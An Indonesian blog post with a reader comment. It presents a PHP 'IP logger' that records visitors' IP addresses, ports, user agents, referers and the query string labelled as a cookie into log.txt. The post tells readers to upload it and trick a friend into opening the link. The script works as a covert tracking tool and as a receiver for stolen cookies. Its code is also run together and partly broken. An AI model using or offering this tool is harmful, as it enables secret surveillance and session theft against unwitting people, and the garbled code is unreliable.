Script IP Logger
Gunanya adalah untuk mengetahui IP Orang Lain, tapi aku gak tau sih kalo udah tau IPnya terus ngapain :D tapi buat hepi2 aja sih :)
Berikut ini adalah scriptnya
<?phpfunction GetIP(){if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))$ip = getenv("HTTP_CLIENT_IP");else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))$ip = getenv("HTTP_X_FORWARDED_FOR");else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))$ip = getenv("REMOTE_ADDR");else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))$ip = $_SERVER['REMOTE_ADDR'];else$ip = "unknown";return($ip);}function logData(){$ipLog="log.txt";$cookie = $_SERVER['QUERY_STRING'];$register_globals = (bool) ini_get('register_gobals');if ($register_globals) $ip = getenv('REMOTE_ADDR');else $ip = GetIP();$rem_port = $_SERVER['REMOTE_PORT'];$user_agent = $_SERVER['HTTP_USER_AGENT'];$rqst_method = $_SERVER['METHOD'];$rem_host = $_SERVER['REMOTE_HOST'];$referer = $_SERVER['HTTP_REFERER'];$date=date ("l dS of F Y h:i:s A");$log=fopen("$ipLog", "a+");if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))fputs($log, "****************************************************** \n IP: $ip \n PORT: $rem_port \n HOST: $rem_host \n Agent: $user_agent \n METHOD: $rqst_method \n REF: $referer \n DATE{ : } $date \n COOKIE: $cookie <br>******************************************************");elsefputs($log, "****************************************************** \n IP: $ip \n PORT: $rem_port \n HOST: $rem_host \n Agent: $user_agent \n METHOD: $rqst_method \n REF: $referer | DATE: $date \n COOKIE: $cookie \n\n *******************************************************");fclose($log);}logData();?>
Step :
- Copy Script diatas kemudian pastekan di notepad, setelah itu upload ke web anda :)
- Berikan Link yang mengandung Logger tersebut ke temen kamu, jika sudah nantikan dia komplen "Apaan Nyet gak ada apa2" Eh tanpa disadari ketauan deh IPnya
- Semua hasil tipuan kamu tersave di "log.txt"
- Sekian terimakasih :)
Ini yg gw cari Kak x-) x-) x-)
BalasHapushttp://cyber-kage.com/